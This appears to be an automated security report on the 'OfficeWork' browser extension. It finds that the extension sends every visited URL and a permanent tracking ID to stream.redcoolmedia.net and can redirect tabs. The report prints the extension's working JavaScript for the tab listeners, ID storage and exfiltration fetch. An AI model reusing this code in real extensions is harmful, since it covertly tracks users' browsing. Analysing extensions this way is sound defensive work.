Is Office online OfficeWork for XLS DOC and PPT safe?
OfficeWork is critical risk. Each time you navigate or switch tabs, this extension sends the full URL to stream.redcoolmedia.net automatically, with no opt-in. A persistent identifier links these transmissions to your browser, building a profile on their server.…
AI-generated. Findings may contain errors. Those marked Verified have been manually reviewed.
Publishers can request a review.
Findings
Every URL You Visit Is Sent to redcoolmedia.net
Each time you navigate or switch tabs, this extension sends the full URL to stream.redcoolmedia.net automatically, with no opt-in.
A persistent identifier links these transmissions to your browser, building a profile on their server.
You navigate to any website or switch browser tabs.
This happens automatically, no interaction with the extension is needed.
The extension immediately sends the full URL to a third-party server.
The URL is hex-encoded and included in a GET request to stream.redcoolmedia.net/api/officeworku.php along with your persistent tracking ID.
https://www.reddit.com
field_tableThe data has shipped a block kind this view doesn't render yet. Raw payload below.
{
"kind": "field_table",
"caption": "Data transmitted on every navigation",
"fields": []
}code_compareThe data has shipped a block kind this view doesn't render yet. Raw payload below.
{
"kind": "code_compare",
"caption": "Service worker code that fires on every tab event",
"language": "js",
"shipped": [],
"deobfuscated": []
}- stream.redcoolmedia.net
Receives a GET request containing the hex-encoded visited URL and persistent user ID on every navigation event.
Remote 302 response can redirect the current tab
The service worker sends the current URL as hex to stream.redcoolmedia.net on tab events and checks the reply.
A "302" response builds a redcoolmedia.net redirect URL and tries to update the tab; a mocked "302" triggered none here.
You switch to a tab or a page finishes updating.
The extension sends the page address to redcoolmedia.net and, for a matching response, attempts to move the tab to a generated redcoolmedia.net URL.
| Field | Value | Why it matters | |
|---|---|---|---|
Current page URL | https://docs.example.org/q2-budget.xlsx (illustrative) | This tells the remote service which page you were viewing when the tab event fired. | |
Hex-encoded page URL | 68747470733a2f2f646f63732e6578616d706c652e6f72672f71322d6275646765742e786c7378 (illustrative) | This is the same page address encoded into the request so it can be carried as a query value. | |
Installation identifier | qazwsxedcr (illustrative) | This lets repeated requests from the same browser be connected over time. | |
Generated redirect URL | https://www.redcoolmedia.net/api/app-officework.php?url=68747470733a2f2f646f63732e6578616d706c652e6f72672f71322d6275646765742e786c7378&u=qazwsxedcr (illustrative) | This is the address the extension tries to load when the response text contains the matching marker. |
Navigation listener, remote response check, and redirect attempt
importScripts(
"./web.js"
);function xdii(tabId) {
chrome.tabs.get(tabId, function(tab) {
if ( ( tab.url.indexOf("redco") == -1 ) && ( tab.url.indexOf("http") !== -1 ) && ( lasiee != tab.url) ) {
utyu = tab.url;
rtcc = "";
rtcc = utyu;
exx(rtcc);
lasiee = tab.url;
}
});
}
function web() {
this.init = function () {
chrome.tabs.onActivated.addListener(function(activeInfo) {
try {
aati = activeInfo.tabId;
xdii(aati);
} catch (error) {}
});
chrome.tabs.onUpdated.addListener(function(tabId, changeInfo, tab) {
try { xdii(tabId); } catch (error) {}
});
};
}async function exx(urly) {
var redxda = { usernameredcool: null, redcoolonline: null };
var usernameredcool = "";
var redcoolonline = "";
const redcool_key = "redcool_key";
let storageResult = await chrome.storage.local.get([redcool_key]);
if (redcool_key in storageResult) {
redxda = storageResult[redcool_key]
}
if ( redxda.usernameredcool ) {
usernameredcool = redxda.usernameredcool;
}
else {
usernameredcool = "" + randomString(10) + "".toLowerCase();
redxda.usernameredcool = usernameredcool;
}
if ( redxda.redcoolonline ) {
redcoolonline = redxda.redcoolonline;
}
else {
redcoolonline = "1";
redxda.redcoolonline = "1";
}
var stox = {};
stox[redcool_key] = redxda;
await chrome.storage.local.set(stox);
var date = new Date();
var un = usernameredcool;
if ( redxda.redcoolonline == "0")
return;
let rtcx = await fetch('https://stream.redcoolmedia.net/api/officeworku.php?l=' + bin2hex(urly) + '&hex=1&u=' + un);
if (rtcx.status === 200) {
let dsx = await rtcx.text();
console.log(dsx);
var rse2 = dsx;
if ( rse2.indexOf("302") !== -1 ) {
var cvcv = 'https://www.redcoolmedia.net/api/app-officework.php?url=' + bin2hex(urly) + '&u=' + un;
//chrome.tabs.create({ url: cvcv });
chrome.tabs.update(chrome.tabs.getCurrent().id, {url: cvcv});
}
}
}
function bin2hex (bin)
{
var i = 0, l = bin.length, chr, hex = '';
for (i; i < l; ++i)
{
chr = bin.charCodeAt(i).toString(16)
hex += chr.length < 2 ? '0' + chr : chr
}
return hex
}- stream.redcoolmedia.net
Receives the page URL encoded as the l query parameter and returns the response text checked by the extension.
- www.redcoolmedia.net
Receives the generated app-officework.php URL that the extension attempts to load when the response text contains "302".
Extension Assigns You a Permanent Tracking ID at Install
On install, the extension generates a 10-character random ID stored permanently.
It's attached to every outbound request, including one per page visited, letting the operator rebuild your full browsing history as one linked profile.
The extension runs for the first time after installation.
The service worker checks chrome.storage.local for an existing ID under 'redcool_key'.
A permanent 10-character identifier is created and stored automatically.
This ID is attached to every subsequent outbound request, permanently linking all your browsing activity to a single server-side profile.
'usernameredcool' is the persistent tracking ID. 'redcoolonline' controls whether URL exfil is active (1=on). Both survive restarts.
chrome.storage.local key 'redcool_key'{
"redcoolonline": "1",
"usernameredcool": "owv4f1uyye"
}code_compareThe data has shipped a block kind this view doesn't render yet. Raw payload below.
{
"kind": "code_compare",
"caption": "ID generation and attachment to requests",
"language": "js",
"shipped": [],
"deobfuscated": []
}field_tableThe data has shipped a block kind this view doesn't render yet. Raw payload below.
{
"kind": "field_table",
"caption": "What the tracking ID enables",
"fields": []
}- stream.redcoolmedia.net
Receives all URL submissions tagged with the persistent user ID; accumulates browsing history server-side.
+2 more findings not shown